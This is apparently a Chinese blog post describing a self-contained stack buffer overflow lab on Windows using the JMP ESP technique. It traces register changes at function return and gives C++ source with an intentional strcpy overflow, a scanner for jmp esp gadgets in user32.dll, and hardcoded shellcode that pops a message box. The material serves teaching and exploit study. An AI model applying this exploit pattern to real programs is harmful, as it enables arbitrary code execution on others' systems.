缓冲区溢出(栈溢出)实验 之 JMP ESP

  • Post author:
  • Post category:其他

3、缓冲区溢出之JMP ESP

本文属于原创,如有错误请指正。其中引用他人的部分已经标出,如涉及版权问题请联系本人

这里不得不讲一讲JMP ESP的原理了,在实验之前我一直没看懂他是如何试下跳转ESP之后回到栈区执行我们的shellcode的。在实验中你仔细观看会发现随着函数栈的销毁ESP是在变化的,JMP ESP正式利用这种变化,将我们精心准备的shellcode执行。

 

JMP ESP原理(如何在跳转ESP后执行shellcode)

JMP ESP在函数返回返回指令处填入我们在dll中搜索的 jmp esp的源码,在函数退出时将会把返回值处地址填入到EIP(即下一句要执行的指令地址)中,即程序跳到jmp esp处的地址执行该处的指令,此时ESP指向的地址也变为存储函数返回指令+4位置处的地址。

在user32.dll中查找到的 jmp esp地址,messagebox,以及 ExitProcess的值如下图,jmp esp我选用的是第一个地址0x7408c38e。

函数返回时的汇编指令

	return 0;
00411662  xor         eax,eax  
}
00411664  pop         edi  
00411665  pop         esi  
00411666  pop         ebx  
00411667  mov         esp,ebp  
00411669  pop         ebp  
0041166A  ret  

对应汇编指令在看一遍函数返回时的ESP变化

return 0;

//ESP=0019FE10 EBP=0019FE6C

00411662  xor         eax,eax  

//ESP=0019FE10 EBP=0019FE6C

}

00411664  pop         edi  

//ESP=0019FE14 EBP=0019FE6C  pop后ESP加4 即栈顶上移4个字节,栈缩小四个字节

00411665  pop         esi  

//ESP=0019FE18 EBP=0019FE6C 栈顶继续上移4

00411666  pop         ebx  

//ESP=0019FE1C EBP=0019FE6C 栈顶继续上移4

00411667  mov         esp,ebp  

//ESP=0019FE6C EBP=0019FE6C EBP的地址赋值给ESP 此时就需要查看一下内存了

我们可以看出此时栈的大小为0 ,栈内存是更改后的内存 栈顶为0019FE6C 

00411669  pop         ebp  

//ESP=0019FE70 EBP=90909090 我们可以看到ESP现在后移到红框右侧四字节处,即栈顶向下移四字节,儿此时我们在ESP处,该处也是“函数返回时下一条执行指令地址存储位置”不过此时存储着我们设计好的jmp esp处的地址(0x7408c38e)。

0041166A  ret  

//ESP=0019FE74 EBP=90909090 EIP=7408C38E 此时我们看到了EIP读取了该处的地址,意味着下一条指令执行将执行jmp esp,而此时ESP继续+4跳过了存储“函数返回时下一条执行指令地址存储位置”,

 

7408C38E jmp esp

//此时ESP存储的是地址为0019FE74 该处为33 db 53 68即我们构造的shellcode的指令开始地址,如此就能够开始执行我们希望的命令。

对应的内存

对应的汇编指令

其他不明白的地方在百度或博客上基本都讲解清楚了

源码:

#include<iostream>
#include<windows.h>
#include <string.h>
using namespace std;

int overflow(const char* input)
{
	BOOL bFlAG = TRUE;
	int nFlag = 1;
	char buf[8];

	memset(buf, 0, 8);
	printf("Virtual address of 'buf' = Ox%p\n", buf);
	printf("Virtual address of 'nFlag' = Ox%p  NUM:%d \r\n", &nFlag, nFlag);
	strcpy(buf, input);
	printf("Virtual address of 'nFlag' = Ox%p  NUM:%d \r\n", &nFlag, nFlag);
	return 0;
}
void FindJMPESP(char*dll_name)
{
	//仅显示前十个jmpESP 
	int nTens = 0;
	char* handle = (char*)LoadLibraryA(dll_name);//获取dll加载地址
	for (int pos = 0;; pos++)//遍历dll代码空间
	{
		if (handle[pos] == (char)0xff && handle[pos + 1] == (char)0xe4)//寻找0xffe4 = jmp  esp
		{
			if (nTens>10)
			{
				nTens = 0;
				return;
			}
			else
			{
				printf("JMP ESP Address: %x \r\n", (handle + pos));
				nTens++;
			}
			
			
		}
	}
	return;
}

int main()
{

	printf("Virtual address of 'overflow' = Ox%p\n", overflow);
	//加载user32.dll库
	HMODULE hUserModule = LoadLibrary("user32.dll");
	if (NULL == hUserModule)
	{
		printf("动态库加载失败BufferOverflow.cpp 错误码:%d \r\n",GetLastError());
		return 0;
	}
	printf("MessageBox Address %X\r\n", MessageBox);
	printf("ExitProcess Address: %X\r\n", ExitProcess);
	FindJMPESP("user32.dll");
	//MessageBox(NULL, "failwest", "failwest", 0);
	//printf("Virtual address of 'overflow' = Ox%p\n", Fun);
	//注意这里ff后,但其实默认添加了’\0’在最后面
	//char input[] = "\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50\x53\xB8\xB0\xF8\x0E\x74\xFF\xD0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x38\xFE\x19"
	//JMP ESP
	char input[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x8e\xC3\x08\x74"//\x8e\xC3\x08\x74为填充的jmp esp的地址
		"\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50\x53\xB8\xB0\xF8\x0E\x74\xFF\xD0\x53\xB8\xC0\x3B\x99\x74\xFF\xD0"
		//剩下的shellcode的指令
	;//Messagebox函数地址:0x740EF8B0  ExitProcess函数地址: 74993BC0
	//char input[] = "AAAAAAB";//good input, ASCII code of 'A' is 41
											  //char input[] = "AAAAAAA";//good input, ASCII code of 'A' is 41
 	overflow(input);
	system("pause");
	return 0;
}

程序进入函数overflow中

ESP = 0019FE10 EBP = 0019FE6C

红框标出的为ESP EBP以及“函数返回时下一条执行指令地址存储位置”

“strcpy(buf, input)”执行之后标记处的一次为ESP EBP “函数返回时下一条执行指令地址存储位置” “shellcode执行代码部分”

如何设计程序的Shellcode

我们使用的shellcode 执行部分从汇编xor ebx,ebx开始,一直到汇编结束

以下部分来自于《0day安全》—— 3.2 定位shellcode 作者:木木夕T_T

其中,MessageBoxA与ExitProcess函数的入口地址获取方法在2.4节中提到过,不同的是MessageBoxA是user32.dll的导出函数,ExitProcess是kernel32.dll的导出函数。
  把shellcode的代码编译运行,用OllyDbg加载可执行文件,在代码区选中所需代码,右键,选择”Copy”,选择”To file”,可以将汇编代码对应的机器码提取出来

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 


版权声明:本文为xyb_l_code原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。